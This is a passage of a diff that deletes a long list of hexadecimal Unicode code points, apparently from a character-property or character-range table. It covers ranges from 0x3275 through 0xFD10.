-        0x3275,
-        0x3276,
-        0x3277,
-        0x3278,
-        0x3279,
-        0x327A,
-        0x327B,
-        0x327C,
-        0x327D,
-        0x327E,
-        0x327F,
-        0x3280,
-        0x3281,
-        0x3282,
-        0x3283,
-        0x3284,
-        0x3285,
-        0x3286,
-        0x3287,
-        0x3288,
-        0x3289,
-        0x328A,
-        0x328B,
-        0x328C,
-        0x328D,
-        0x328E,
-        0x328F,
-        0x3290,
-        0x3291,
-        0x3292,
-        0x3293,
-        0x3294,
-        0x3295,
-        0x3296,
-        0x3297,
-        0x3298,
-        0x3299,
-        0x329A,
-        0x329B,
-        0x329C,
-        0x329D,
-        0x329E,
-        0x329F,
-        0x32A0,
-        0x32A1,
-        0x32A2,
-        0x32A3,
-        0x32A4,
-        0x32A5,
-        0x32A6,
-        0x32A7,
-        0x32A8,
-        0x32A9,
-        0x32AA,
-        0x32AB,
-        0x32AC,
-        0x32AD,
-        0x32AE,
-        0x32AF,
-        0x32B0,
-        0x32B1,
-        0x32B2,
-        0x32B3,
-        0x32B4,
-        0x32B5,
-        0x32B6,
-        0x32B7,
-        0x32B8,
-        0x32B9,
-        0x32BA,
-        0x32BB,
-        0x32BC,
-        0x32BD,
-        0x32BE,
-        0x32BF,
-        0x32C0,
-        0x32C1,
-        0x32C2,
-        0x32C3,
-        0x32C4,
-        0x32C5,
-        0x32C6,
-        0x32C7,
-        0x32C8,
-        0x32C9,
-        0x32CA,
-        0x32CB,
-        0x32CC,
-        0x32CD,
-        0x32CE,
-        0x32CF,
-        0x32D0,
-        0x32D1,
-        0x32D2,
-        0x32D3,
-        0x32D4,
-        0x32D5,
-        0x32D6,
-        0x32D7,
-        0x32D8,
-        0x32D9,
-        0x32DA,
-        0x32DB,
-        0x32DC,
-        0x32DD,
-        0x32DE,
-        0x32DF,
-        0x32E0,
-        0x32E1,
-        0x32E2,
-        0x32E3,
-        0x32E4,
-        0x32E5,
-        0x32E6,
-        0x32E7,
-        0x32E8,
-        0x32E9,
-        0x32EA,
-        0x32EB,
-        0x32EC,
-        0x32ED,
-        0x32EE,
-        0x32EF,
-        0x32F0,
-        0x32F1,
-        0x32F2,
-        0x32F3,
-        0x32F4,
-        0x32F5,
-        0x32F6,
-        0x32F7,
-        0x32F8,
-        0x32F9,
-        0x32FA,
-        0x32FB,
-        0x32FC,
-        0x32FD,
-        0x32FE,
-        0x32FF,
-        0x3300,
-        0x3301,
-        0x3302,
-        0x3303,
-        0x3304,
-        0x3305,
-        0x3306,
-        0x3307,
-        0x3308,
-        0x3309,
-        0x330A,
-        0x330B,
-        0x330C,
-        0x330D,
-        0x330E,
-        0x330F,
-        0x3310,
-        0x3311,
-        0x3312,
-        0x3313,
-        0x3314,
-        0x3315,
-        0x3316,
-        0x3317,
-        0x3318,
-        0x3319,
-        0x331A,
-        0x331B,
-        0x331C,
-        0x331D,
-        0x331E,
-        0x331F,
-        0x3320,
-        0x3321,
-        0x3322,
-        0x3323,
-        0x3324,
-        0x3325,
-        0x3326,
-        0x3327,
-        0x3328,
-        0x3329,
-        0x332A,
-        0x332B,
-        0x332C,
-        0x332D,
-        0x332E,
-        0x332F,
-        0x3330,
-        0x3331,
-        0x3332,
-        0x3333,
-        0x3334,
-        0x3335,
-        0x3336,
-        0x3337,
-        0x3338,
-        0x3339,
-        0x333A,
-        0x333B,
-        0x333C,
-        0x333D,
-        0x333E,
-        0x333F,
-        0x3340,
-        0x3341,
-        0x3342,
-        0x3343,
-        0x3344,
-        0x3345,
-        0x3346,
-        0x3347,
-        0x3348,
-        0x3349,
-        0x334A,
-        0x334B,
-        0x334C,
-        0x334D,
-        0x334E,
-        0x334F,
-        0x3350,
-        0x3351,
-        0x3352,
-        0x3353,
-        0x3354,
-        0x3355,
-        0x3356,
-        0x3357,
-        0x3358,
-        0x3359,
-        0x335A,
-        0x335B,
-        0x335C,
-        0x335D,
-        0x335E,
-        0x335F,
-        0x3360,
-        0x3361,
-        0x3362,
-        0x3363,
-        0x3364,
-        0x3365,
-        0x3366,
-        0x3367,
-        0x3368,
-        0x3369,
-        0x336A,
-        0x336B,
-        0x336C,
-        0x336D,
-        0x336E,
-        0x336F,
-        0x3370,
-        0x3371,
-        0x3372,
-        0x3373,
-        0x3374,
-        0x3375,
-        0x3376,
-        0x3377,
-        0x3378,
-        0x3379,
-        0x337A,
-        0x337B,
-        0x337C,
-        0x337D,
-        0x337E,
-        0x337F,
-        0x3380,
-        0x3381,
-        0x3382,
-        0x3383,
-        0x3384,
-        0x3385,
-        0x3386,
-        0x3387,
-        0x3388,
-        0x3389,
-        0x338A,
-        0x338B,
-        0x338C,
-        0x338D,
-        0x338E,
-        0x338F,
-        0x3390,
-        0x3391,
-        0x3392,
-        0x3393,
-        0x3394,
-        0x3395,
-        0x3396,
-        0x3397,
-        0x3398,
-        0x3399,
-        0x339A,
-        0x339B,
-        0x339C,
-        0x339D,
-        0x339E,
-        0x339F,
-        0x33A0,
-        0x33A1,
-        0x33A2,
-        0x33A3,
-        0x33A4,
-        0x33A5,
-        0x33A6,
-        0x33A7,
-        0x33A8,
-        0x33A9,
-        0x33AA,
-        0x33AB,
-        0x33AC,
-        0x33AD,
-        0x33AE,
-        0x33AF,
-        0x33B0,
-        0x33B1,
-        0x33B2,
-        0x33B3,
-        0x33B4,
-        0x33B5,
-        0x33B6,
-        0x33B7,
-        0x33B8,
-        0x33B9,
-        0x33BA,
-        0x33BB,
-        0x33BC,
-        0x33BD,
-        0x33BE,
-        0x33BF,
-        0x33C0,
-        0x33C1,
-        0x33C2,
-        0x33C3,
-        0x33C4,
-        0x33C5,
-        0x33C6,
-        0x33C7,
-        0x33C8,
-        0x33C9,
-        0x33CA,
-        0x33CB,
-        0x33CC,
-        0x33CD,
-        0x33CE,
-        0x33CF,
-        0x33D0,
-        0x33D1,
-        0x33D2,
-        0x33D3,
-        0x33D4,
-        0x33D5,
-        0x33D6,
-        0x33D7,
-        0x33D8,
-        0x33D9,
-        0x33DA,
-        0x33DB,
-        0x33DC,
-        0x33DD,
-        0x33DE,
-        0x33DF,
-        0x33E0,
-        0x33E1,
-        0x33E2,
-        0x33E3,
-        0x33E4,
-        0x33E5,
-        0x33E6,
-        0x33E7,
-        0x33E8,
-        0x33E9,
-        0x33EA,
-        0x33EB,
-        0x33EC,
-        0x33ED,
-        0x33EE,
-        0x33EF,
-        0x33F0,
-        0x33F1,
-        0x33F2,
-        0x33F3,
-        0x33F4,
-        0x33F5,
-        0x33F6,
-        0x33F7,
-        0x33F8,
-        0x33F9,
-        0x33FA,
-        0x33FB,
-        0x33FC,
-        0x33FD,
-        0x33FE,
-        0x33FF,
-        0x3400,
-        0xA48D,
-        0xA490,
-        0xA4C7,
-        0xA4D0,
-        0xA62C,
-        0xA640,
-        0xA641,
-        0xA642,
-        0xA643,
-        0xA644,
-        0xA645,
-        0xA646,
-        0xA647,
-        0xA648,
-        0xA649,
-        0xA64A,
-        0xA64B,
-        0xA64C,
-        0xA64D,
-        0xA64E,
-        0xA64F,
-        0xA650,
-        0xA651,
-        0xA652,
-        0xA653,
-        0xA654,
-        0xA655,
-        0xA656,
-        0xA657,
-        0xA658,
-        0xA659,
-        0xA65A,
-        0xA65B,
-        0xA65C,
-        0xA65D,
-        0xA65E,
-        0xA65F,
-        0xA660,
-        0xA661,
-        0xA662,
-        0xA663,
-        0xA664,
-        0xA665,
-        0xA666,
-        0xA667,
-        0xA668,
-        0xA669,
-        0xA66A,
-        0xA66B,
-        0xA66C,
-        0xA66D,
-        0xA680,
-        0xA681,
-        0xA682,
-        0xA683,
-        0xA684,
-        0xA685,
-        0xA686,
-        0xA687,
-        0xA688,
-        0xA689,
-        0xA68A,
-        0xA68B,
-        0xA68C,
-        0xA68D,
-        0xA68E,
-        0xA68F,
-        0xA690,
-        0xA691,
-        0xA692,
-        0xA693,
-        0xA694,
-        0xA695,
-        0xA696,
-        0xA697,
-        0xA698,
-        0xA699,
-        0xA69A,
-        0xA69B,
-        0xA69C,
-        0xA69D,
-        0xA69E,
-        0xA6F8,
-        0xA700,
-        0xA722,
-        0xA723,
-        0xA724,
-        0xA725,
-        0xA726,
-        0xA727,
-        0xA728,
-        0xA729,
-        0xA72A,
-        0xA72B,
-        0xA72C,
-        0xA72D,
-        0xA72E,
-        0xA72F,
-        0xA732,
-        0xA733,
-        0xA734,
-        0xA735,
-        0xA736,
-        0xA737,
-        0xA738,
-        0xA739,
-        0xA73A,
-        0xA73B,
-        0xA73C,
-        0xA73D,
-        0xA73E,
-        0xA73F,
-        0xA740,
-        0xA741,
-        0xA742,
-        0xA743,
-        0xA744,
-        0xA745,
-        0xA746,
-        0xA747,
-        0xA748,
-        0xA749,
-        0xA74A,
-        0xA74B,
-        0xA74C,
-        0xA74D,
-        0xA74E,
-        0xA74F,
-        0xA750,
-        0xA751,
-        0xA752,
-        0xA753,
-        0xA754,
-        0xA755,
-        0xA756,
-        0xA757,
-        0xA758,
-        0xA759,
-        0xA75A,
-        0xA75B,
-        0xA75C,
-        0xA75D,
-        0xA75E,
-        0xA75F,
-        0xA760,
-        0xA761,
-        0xA762,
-        0xA763,
-        0xA764,
-        0xA765,
-        0xA766,
-        0xA767,
-        0xA768,
-        0xA769,
-        0xA76A,
-        0xA76B,
-        0xA76C,
-        0xA76D,
-        0xA76E,
-        0xA76F,
-        0xA770,
-        0xA771,
-        0xA779,
-        0xA77A,
-        0xA77B,
-        0xA77C,
-        0xA77D,
-        0xA77E,
-        0xA77F,
-        0xA780,
-        0xA781,
-        0xA782,
-        0xA783,
-        0xA784,
-        0xA785,
-        0xA786,
-        0xA787,
-        0xA78B,
-        0xA78C,
-        0xA78D,
-        0xA78E,
-        0xA790,
-        0xA791,
-        0xA792,
-        0xA793,
-        0xA796,
-        0xA797,
-        0xA798,
-        0xA799,
-        0xA79A,
-        0xA79B,
-        0xA79C,
-        0xA79D,
-        0xA79E,
-        0xA79F,
-        0xA7A0,
-        0xA7A1,
-        0xA7A2,
-        0xA7A3,
-        0xA7A4,
-        0xA7A5,
-        0xA7A6,
-        0xA7A7,
-        0xA7A8,
-        0xA7A9,
-        0xA7AA,
-        0xA7AB,
-        0xA7AC,
-        0xA7AD,
-        0xA7AE,
-        0xA7AF,
-        0xA7B0,
-        0xA7B1,
-        0xA7B2,
-        0xA7B3,
-        0xA7B4,
-        0xA7B5,
-        0xA7B6,
-        0xA7B7,
-        0xA7B8,
-        0xA7B9,
-        0xA7BA,
-        0xA7BB,
-        0xA7BC,
-        0xA7BD,
-        0xA7BE,
-        0xA7BF,
-        0xA7C0,
-        0xA7C1,
-        0xA7C2,
-        0xA7C3,
-        0xA7C4,
-        0xA7C5,
-        0xA7C6,
-        0xA7C7,
-        0xA7C8,
-        0xA7C9,
-        0xA7CA,
-        0xA7CB,
-        0xA7CC,
-        0xA7CD,
-        0xA7CE,
-        0xA7CF,
-        0xA7D0,
-        0xA7D1,
-        0xA7D2,
-        0xA7D3,
-        0xA7D4,
-        0xA7D5,
-        0xA7D6,
-        0xA7D7,
-        0xA7D8,
-        0xA7D9,
-        0xA7DA,
-        0xA7DB,
-        0xA7DC,
-        0xA7DD,
-        0xA7F1,
-        0xA7F2,
-        0xA7F3,
-        0xA7F4,
-        0xA7F5,
-        0xA7F6,
-        0xA7F8,
-        0xA7F9,
-        0xA7FA,
-        0xA82D,
-        0xA830,
-        0xA83A,
-        0xA840,
-        0xA878,
-        0xA880,
-        0xA8C6,
-        0xA8CE,
-        0xA8DA,
-        0xA8E0,
-        0xA954,
-        0xA95F,
-        0xA97D,
-        0xA980,
-        0xA9CE,
-        0xA9CF,
-        0xA9DA,
-        0xA9DE,
-        0xA9FF,
-        0xAA00,
-        0xAA37,
-        0xAA40,
-        0xAA4E,
-        0xAA50,
-        0xAA5A,
-        0xAA5C,
-        0xAAC3,
-        0xAADB,
-        0xAAF7,
-        0xAB01,
-        0xAB07,
-        0xAB09,
-        0xAB0F,
-        0xAB11,
-        0xAB17,
-        0xAB20,
-        0xAB27,
-        0xAB28,
-        0xAB2F,
-        0xAB30,
-        0xAB5C,
-        0xAB5D,
-        0xAB5E,
-        0xAB5F,
-        0xAB60,
-        0xAB69,
-        0xAB6A,
-        0xAB6C,
-        0xAB70,
-        0xAB71,
-        0xAB72,
-        0xAB73,
-        0xAB74,
-        0xAB75,
-        0xAB76,
-        0xAB77,
-        0xAB78,
-        0xAB79,
-        0xAB7A,
-        0xAB7B,
-        0xAB7C,
-        0xAB7D,
-        0xAB7E,
-        0xAB7F,
-        0xAB80,
-        0xAB81,
-        0xAB82,
-        0xAB83,
-        0xAB84,
-        0xAB85,
-        0xAB86,
-        0xAB87,
-        0xAB88,
-        0xAB89,
-        0xAB8A,
-        0xAB8B,
-        0xAB8C,
-        0xAB8D,
-        0xAB8E,
-        0xAB8F,
-        0xAB90,
-        0xAB91,
-        0xAB92,
-        0xAB93,
-        0xAB94,
-        0xAB95,
-        0xAB96,
-        0xAB97,
-        0xAB98,
-        0xAB99,
-        0xAB9A,
-        0xAB9B,
-        0xAB9C,
-        0xAB9D,
-        0xAB9E,
-        0xAB9F,
-        0xABA0,
-        0xABA1,
-        0xABA2,
-        0xABA3,
-        0xABA4,
-        0xABA5,
-        0xABA6,
-        0xABA7,
-        0xABA8,
-        0xABA9,
-        0xABAA,
-        0xABAB,
-        0xABAC,
-        0xABAD,
-        0xABAE,
-        0xABAF,
-        0xABB0,
-        0xABB1,
-        0xABB2,
-        0xABB3,
-        0xABB4,
-        0xABB5,
-        0xABB6,
-        0xABB7,
-        0xABB8,
-        0xABB9,
-        0xABBA,
-        0xABBB,
-        0xABBC,
-        0xABBD,
-        0xABBE,
-        0xABBF,
-        0xABC0,
-        0xABEE,
-        0xABF0,
-        0xABFA,
-        0xAC00,
-        0xD7A4,
-        0xD7B0,
-        0xD7C7,
-        0xD7CB,
-        0xD7FC,
-        0xF900,
-        0xF901,
-        0xF902,
-        0xF903,
-        0xF904,
-        0xF905,
-        0xF906,
-        0xF907,
-        0xF909,
-        0xF90A,
-        0xF90B,
-        0xF90C,
-        0xF90D,
-        0xF90E,
-        0xF90F,
-        0xF910,
-        0xF911,
-        0xF912,
-        0xF913,
-        0xF914,
-        0xF915,
-        0xF916,
-        0xF917,
-        0xF918,
-        0xF919,
-        0xF91A,
-        0xF91B,
-        0xF91C,
-        0xF91D,
-        0xF91E,
-        0xF91F,
-        0xF920,
-        0xF921,
-        0xF922,
-        0xF923,
-        0xF924,
-        0xF925,
-        0xF926,
-        0xF927,
-        0xF928,
-        0xF929,
-        0xF92A,
-        0xF92B,
-        0xF92C,
-        0xF92D,
-        0xF92E,
-        0xF92F,
-        0xF930,
-        0xF931,
-        0xF932,
-        0xF933,
-        0xF934,
-        0xF935,
-        0xF936,
-        0xF937,
-        0xF938,
-        0xF939,
-        0xF93A,
-        0xF93B,
-        0xF93C,
-        0xF93D,
-        0xF93E,
-        0xF93F,
-        0xF940,
-        0xF941,
-        0xF942,
-        0xF943,
-        0xF944,
-        0xF945,
-        0xF946,
-        0xF947,
-        0xF948,
-        0xF949,
-        0xF94A,
-        0xF94B,
-        0xF94C,
-        0xF94D,
-        0xF94E,
-        0xF94F,
-        0xF950,
-        0xF951,
-        0xF952,
-        0xF953,
-        0xF954,
-        0xF955,
-        0xF956,
-        0xF957,
-        0xF958,
-        0xF959,
-        0xF95A,
-        0xF95B,
-        0xF95C,
-        0xF95D,
-        0xF95E,
-        0xF95F,
-        0xF960,
-        0xF961,
-        0xF962,
-        0xF963,
-        0xF964,
-        0xF965,
-        0xF966,
-        0xF967,
-        0xF968,
-        0xF969,
-        0xF96A,
-        0xF96B,
-        0xF96C,
-        0xF96D,
-        0xF96E,
-        0xF96F,
-        0xF970,
-        0xF971,
-        0xF972,
-        0xF973,
-        0xF974,
-        0xF975,
-        0xF976,
-        0xF977,
-        0xF978,
-        0xF979,
-        0xF97A,
-        0xF97B,
-        0xF97C,
-        0xF97D,
-        0xF97E,
-        0xF97F,
-        0xF980,
-        0xF981,
-        0xF982,
-        0xF983,
-        0xF984,
-        0xF985,
-        0xF986,
-        0xF987,
-        0xF988,
-        0xF989,
-        0xF98A,
-        0xF98B,
-        0xF98C,
-        0xF98D,
-        0xF98E,
-        0xF98F,
-        0xF990,
-        0xF991,
-        0xF992,
-        0xF993,
-        0xF994,
-        0xF995,
-        0xF996,
-        0xF997,
-        0xF998,
-        0xF999,
-        0xF99A,
-        0xF99B,
-        0xF99C,
-        0xF99D,
-        0xF99E,
-        0xF99F,
-        0xF9A0,
-        0xF9A1,
-        0xF9A2,
-        0xF9A3,
-        0xF9A4,
-        0xF9A5,
-        0xF9A6,
-        0xF9A7,
-        0xF9A8,
-        0xF9A9,
-        0xF9AA,
-        0xF9AB,
-        0xF9AC,
-        0xF9AD,
-        0xF9AE,
-        0xF9AF,
-        0xF9B0,
-        0xF9B1,
-        0xF9B2,
-        0xF9B3,
-        0xF9B4,
-        0xF9B5,
-        0xF9B6,
-        0xF9B7,
-        0xF9B8,
-        0xF9B9,
-        0xF9BA,
-        0xF9BB,
-        0xF9BC,
-        0xF9BD,
-        0xF9BE,
-        0xF9BF,
-        0xF9C0,
-        0xF9C1,
-        0xF9C2,
-        0xF9C3,
-        0xF9C4,
-        0xF9C5,
-        0xF9C6,
-        0xF9C7,
-        0xF9C8,
-        0xF9C9,
-        0xF9CA,
-        0xF9CB,
-        0xF9CC,
-        0xF9CD,
-        0xF9CE,
-        0xF9CF,
-        0xF9D0,
-        0xF9D1,
-        0xF9D2,
-        0xF9D3,
-        0xF9D4,
-        0xF9D5,
-        0xF9D6,
-        0xF9D7,
-        0xF9D8,
-        0xF9D9,
-        0xF9DA,
-        0xF9DB,
-        0xF9DC,
-        0xF9DD,
-        0xF9DE,
-        0xF9DF,
-        0xF9E0,
-        0xF9E1,
-        0xF9E2,
-        0xF9E3,
-        0xF9E4,
-        0xF9E5,
-        0xF9E6,
-        0xF9E7,
-        0xF9E8,
-        0xF9E9,
-        0xF9EA,
-        0xF9EB,
-        0xF9EC,
-        0xF9ED,
-        0xF9EE,
-        0xF9EF,
-        0xF9F0,
-        0xF9F1,
-        0xF9F2,
-        0xF9F3,
-        0xF9F4,
-        0xF9F5,
-        0xF9F6,
-        0xF9F7,
-        0xF9F8,
-        0xF9F9,
-        0xF9FA,
-        0xF9FB,
-        0xF9FC,
-        0xF9FD,
-        0xF9FE,
-        0xF9FF,
-        0xFA00,
-        0xFA01,
-        0xFA02,
-        0xFA03,
-        0xFA04,
-        0xFA05,
-        0xFA06,
-        0xFA07,
-        0xFA08,
-        0xFA09,
-        0xFA0A,
-        0xFA0B,
-        0xFA0C,
-        0xFA0D,
-        0xFA0E,
-        0xFA10,
-        0xFA11,
-        0xFA12,
-        0xFA13,
-        0xFA15,
-        0xFA16,
-        0xFA17,
-        0xFA18,
-        0xFA19,
-        0xFA1A,
-        0xFA1B,
-        0xFA1C,
-        0xFA1D,
-        0xFA1E,
-        0xFA1F,
-        0xFA20,
-        0xFA21,
-        0xFA22,
-        0xFA23,
-        0xFA25,
-        0xFA26,
-        0xFA27,
-        0xFA2A,
-        0xFA2B,
-        0xFA2C,
-        0xFA2D,
-        0xFA2E,
-        0xFA2F,
-        0xFA30,
-        0xFA31,
-        0xFA32,
-        0xFA33,
-        0xFA34,
-        0xFA35,
-        0xFA36,
-        0xFA37,
-        0xFA38,
-        0xFA39,
-        0xFA3A,
-        0xFA3B,
-        0xFA3C,
-        0xFA3D,
-        0xFA3E,
-        0xFA3F,
-        0xFA40,
-        0xFA41,
-        0xFA42,
-        0xFA43,
-        0xFA44,
-        0xFA45,
-        0xFA46,
-        0xFA47,
-        0xFA48,
-        0xFA49,
-        0xFA4A,
-        0xFA4B,
-        0xFA4C,
-        0xFA4D,
-        0xFA4E,
-        0xFA4F,
-        0xFA50,
-        0xFA51,
-        0xFA52,
-        0xFA53,
-        0xFA54,
-        0xFA55,
-        0xFA56,
-        0xFA57,
-        0xFA58,
-        0xFA59,
-        0xFA5A,
-        0xFA5B,
-        0xFA5C,
-        0xFA5D,
-        0xFA5F,
-        0xFA60,
-        0xFA61,
-        0xFA62,
-        0xFA63,
-        0xFA64,
-        0xFA65,
-        0xFA66,
-        0xFA67,
-        0xFA68,
-        0xFA69,
-        0xFA6A,
-        0xFA6B,
-        0xFA6C,
-        0xFA6D,
-        0xFA6E,
-        0xFA70,
-        0xFA71,
-        0xFA72,
-        0xFA73,
-        0xFA74,
-        0xFA75,
-        0xFA76,
-        0xFA77,
-        0xFA78,
-        0xFA79,
-        0xFA7A,
-        0xFA7B,
-        0xFA7C,
-        0xFA7D,
-        0xFA7E,
-        0xFA7F,
-        0xFA80,
-        0xFA81,
-        0xFA82,
-        0xFA83,
-        0xFA84,
-        0xFA85,
-        0xFA86,
-        0xFA87,
-        0xFA88,
-        0xFA89,
-        0xFA8A,
-        0xFA8B,
-        0xFA8C,
-        0xFA8D,
-        0xFA8E,
-        0xFA8F,
-        0xFA90,
-        0xFA91,
-        0xFA92,
-        0xFA93,
-        0xFA94,
-        0xFA95,
-        0xFA96,
-        0xFA97,
-        0xFA98,
-        0xFA99,
-        0xFA9A,
-        0xFA9B,
-        0xFA9C,
-        0xFA9D,
-        0xFA9E,
-        0xFA9F,
-        0xFAA0,
-        0xFAA1,
-        0xFAA2,
-        0xFAA3,
-        0xFAA4,
-        0xFAA5,
-        0xFAA6,
-        0xFAA7,
-        0xFAA8,
-        0xFAA9,
-        0xFAAA,
-        0xFAAB,
-        0xFAAC,
-        0xFAAD,
-        0xFAAE,
-        0xFAAF,
-        0xFAB0,
-        0xFAB1,
-        0xFAB2,
-        0xFAB3,
-        0xFAB4,
-        0xFAB5,
-        0xFAB6,
-        0xFAB7,
-        0xFAB8,
-        0xFAB9,
-        0xFABA,
-        0xFABB,
-        0xFABC,
-        0xFABD,
-        0xFABE,
-        0xFABF,
-        0xFAC0,
-        0xFAC1,
-        0xFAC2,
-        0xFAC3,
-        0xFAC4,
-        0xFAC5,
-        0xFAC6,
-        0xFAC7,
-        0xFAC8,
-        0xFAC9,
-        0xFACA,
-        0xFACB,
-        0xFACC,
-        0xFACD,
-        0xFACE,
-        0xFACF,
-        0xFAD0,
-        0xFAD1,
-        0xFAD2,
-        0xFAD3,
-        0xFAD4,
-        0xFAD5,
-        0xFAD6,
-        0xFAD7,
-        0xFAD8,
-        0xFAD9,
-        0xFADA,
-        0xFB00,
-        0xFB01,
-        0xFB02,
-        0xFB03,
-        0xFB04,
-        0xFB05,
-        0xFB07,
-        0xFB13,
-        0xFB14,
-        0xFB15,
-        0xFB16,
-        0xFB17,
-        0xFB18,
-        0xFB1D,
-        0xFB1E,
-        0xFB1F,
-        0xFB20,
-        0xFB21,
-        0xFB22,
-        0xFB23,
-        0xFB24,
-        0xFB25,
-        0xFB26,
-        0xFB27,
-        0xFB28,
-        0xFB29,
-        0xFB2A,
-        0xFB2B,
-        0xFB2C,
-        0xFB2D,
-        0xFB2E,
-        0xFB2F,
-        0xFB30,
-        0xFB31,
-        0xFB32,
-        0xFB33,
-        0xFB34,
-        0xFB35,
-        0xFB36,
-        0xFB37,
-        0xFB38,
-        0xFB39,
-        0xFB3A,
-        0xFB3B,
-        0xFB3C,
-        0xFB3D,
-        0xFB3E,
-        0xFB3F,
-        0xFB40,
-        0xFB41,
-        0xFB42,
-        0xFB43,
-        0xFB44,
-        0xFB45,
-        0xFB46,
-        0xFB47,
-        0xFB48,
-        0xFB49,
-        0xFB4A,
-        0xFB4B,
-        0xFB4C,
-        0xFB4D,
-        0xFB4E,
-        0xFB4F,
-        0xFB50,
-        0xFB52,
-        0xFB56,
-        0xFB5A,
-        0xFB5E,
-        0xFB62,
-        0xFB66,
-        0xFB6A,
-        0xFB6E,
-        0xFB72,
-        0xFB76,
-        0xFB7A,
-        0xFB7E,
-        0xFB82,
-        0xFB84,
-        0xFB86,
-        0xFB88,
-        0xFB8A,
-        0xFB8C,
-        0xFB8E,
-        0xFB92,
-        0xFB96,
-        0xFB9A,
-        0xFB9E,
-        0xFBA0,
-        0xFBA4,
-        0xFBA6,
-        0xFBAA,
-        0xFBAE,
-        0xFBB0,
-        0xFBB2,
-        0xFBD3,
-        0xFBD7,
-        0xFBD9,
-        0xFBDB,
-        0xFBDD,
-        0xFBDE,
-        0xFBE0,
-        0xFBE2,
-        0xFBE4,
-        0xFBE8,
-        0xFBEA,
-        0xFBEC,
-        0xFBEE,
-        0xFBF0,
-        0xFBF2,
-        0xFBF4,
-        0xFBF6,
-        0xFBF9,
-        0xFBFC,
-        0xFC00,
-        0xFC01,
-        0xFC02,
-        0xFC03,
-        0xFC04,
-        0xFC05,
-        0xFC06,
-        0xFC07,
-        0xFC08,
-        0xFC09,
-        0xFC0A,
-        0xFC0B,
-        0xFC0C,
-        0xFC0D,
-        0xFC0E,
-        0xFC0F,
-        0xFC10,
-        0xFC11,
-        0xFC12,
-        0xFC13,
-        0xFC14,
-        0xFC15,
-        0xFC16,
-        0xFC17,
-        0xFC18,
-        0xFC19,
-        0xFC1A,
-        0xFC1B,
-        0xFC1C,
-        0xFC1D,
-        0xFC1E,
-        0xFC1F,
-        0xFC20,
-        0xFC21,
-        0xFC22,
-        0xFC23,
-        0xFC24,
-        0xFC25,
-        0xFC26,
-        0xFC27,
-        0xFC28,
-        0xFC29,
-        0xFC2A,
-        0xFC2B,
-        0xFC2C,
-        0xFC2D,
-        0xFC2E,
-        0xFC2F,
-        0xFC30,
-        0xFC31,
-        0xFC32,
-        0xFC33,
-        0xFC34,
-        0xFC35,
-        0xFC36,
-        0xFC37,
-        0xFC38,
-        0xFC39,
-        0xFC3A,
-        0xFC3B,
-        0xFC3C,
-        0xFC3D,
-        0xFC3E,
-        0xFC3F,
-        0xFC40,
-        0xFC41,
-        0xFC42,
-        0xFC43,
-        0xFC44,
-        0xFC45,
-        0xFC46,
-        0xFC47,
-        0xFC48,
-        0xFC49,
-        0xFC4A,
-        0xFC4B,
-        0xFC4C,
-        0xFC4D,
-        0xFC4E,
-        0xFC4F,
-        0xFC50,
-        0xFC51,
-        0xFC52,
-        0xFC53,
-        0xFC54,
-        0xFC55,
-        0xFC56,
-        0xFC57,
-        0xFC58,
-        0xFC59,
-        0xFC5A,
-        0xFC5B,
-        0xFC5C,
-        0xFC5D,
-        0xFC5E,
-        0xFC5F,
-        0xFC60,
-        0xFC61,
-        0xFC62,
-        0xFC63,
-        0xFC64,
-        0xFC65,
-        0xFC66,
-        0xFC67,
-        0xFC68,
-        0xFC69,
-        0xFC6A,
-        0xFC6B,
-        0xFC6C,
-        0xFC6D,
-        0xFC6E,
-        0xFC6F,
-        0xFC70,
-        0xFC71,
-        0xFC72,
-        0xFC73,
-        0xFC74,
-        0xFC75,
-        0xFC76,
-        0xFC77,
-        0xFC78,
-        0xFC79,
-        0xFC7A,
-        0xFC7B,
-        0xFC7C,
-        0xFC7D,
-        0xFC7E,
-        0xFC7F,
-        0xFC80,
-        0xFC81,
-        0xFC82,
-        0xFC83,
-        0xFC84,
-        0xFC85,
-        0xFC86,
-        0xFC87,
-        0xFC88,
-        0xFC89,
-        0xFC8A,
-        0xFC8B,
-        0xFC8C,
-        0xFC8D,
-        0xFC8E,
-        0xFC8F,
-        0xFC90,
-        0xFC91,
-        0xFC92,
-        0xFC93,
-        0xFC94,
-        0xFC95,
-        0xFC96,
-        0xFC97,
-        0xFC98,
-        0xFC99,
-        0xFC9A,
-        0xFC9B,
-        0xFC9C,
-        0xFC9D,
-        0xFC9E,
-        0xFC9F,
-        0xFCA0,
-        0xFCA1,
-        0xFCA2,
-        0xFCA3,
-        0xFCA4,
-        0xFCA5,
-        0xFCA6,
-        0xFCA7,
-        0xFCA8,
-        0xFCA9,
-        0xFCAA,
-        0xFCAB,
-        0xFCAC,
-        0xFCAD,
-        0xFCAE,
-        0xFCAF,
-        0xFCB0,
-        0xFCB1,
-        0xFCB2,
-        0xFCB3,
-        0xFCB4,
-        0xFCB5,
-        0xFCB6,
-        0xFCB7,
-        0xFCB8,
-        0xFCB9,
-        0xFCBA,
-        0xFCBB,
-        0xFCBC,
-        0xFCBD,
-        0xFCBE,
-        0xFCBF,
-        0xFCC0,
-        0xFCC1,
-        0xFCC2,
-        0xFCC3,
-        0xFCC4,
-        0xFCC5,
-        0xFCC6,
-        0xFCC7,
-        0xFCC8,
-        0xFCC9,
-        0xFCCA,
-        0xFCCB,
-        0xFCCC,
-        0xFCCD,
-        0xFCCE,
-        0xFCCF,
-        0xFCD0,
-        0xFCD1,
-        0xFCD2,
-        0xFCD3,
-        0xFCD4,
-        0xFCD5,
-        0xFCD6,
-        0xFCD7,
-        0xFCD8,
-        0xFCD9,
-        0xFCDA,
-        0xFCDB,
-        0xFCDC,
-        0xFCDD,
-        0xFCDE,
-        0xFCDF,
-        0xFCE0,
-        0xFCE1,
-        0xFCE2,
-        0xFCE3,
-        0xFCE4,
-        0xFCE5,
-        0xFCE6,
-        0xFCE7,
-        0xFCE8,
-        0xFCE9,
-        0xFCEA,
-        0xFCEB,
-        0xFCEC,
-        0xFCED,
-        0xFCEE,
-        0xFCEF,
-        0xFCF0,
-        0xFCF1,
-        0xFCF2,
-        0xFCF3,
-        0xFCF4,
-        0xFCF5,
-        0xFCF6,
-        0xFCF7,
-        0xFCF8,
-        0xFCF9,
-        0xFCFA,
-        0xFCFB,
-        0xFCFC,
-        0xFCFD,
-        0xFCFE,
-        0xFCFF,
-        0xFD00,
-        0xFD01,
-        0xFD02,
-        0xFD03,
-        0xFD04,
-        0xFD05,
-        0xFD06,
-        0xFD07,
-        0xFD08,
-        0xFD09,
-        0xFD0A,
-        0xFD0B,
-        0xFD0C,
-        0xFD0D,
-        0xFD0E,
-        0xFD0F,
-        0xFD10,
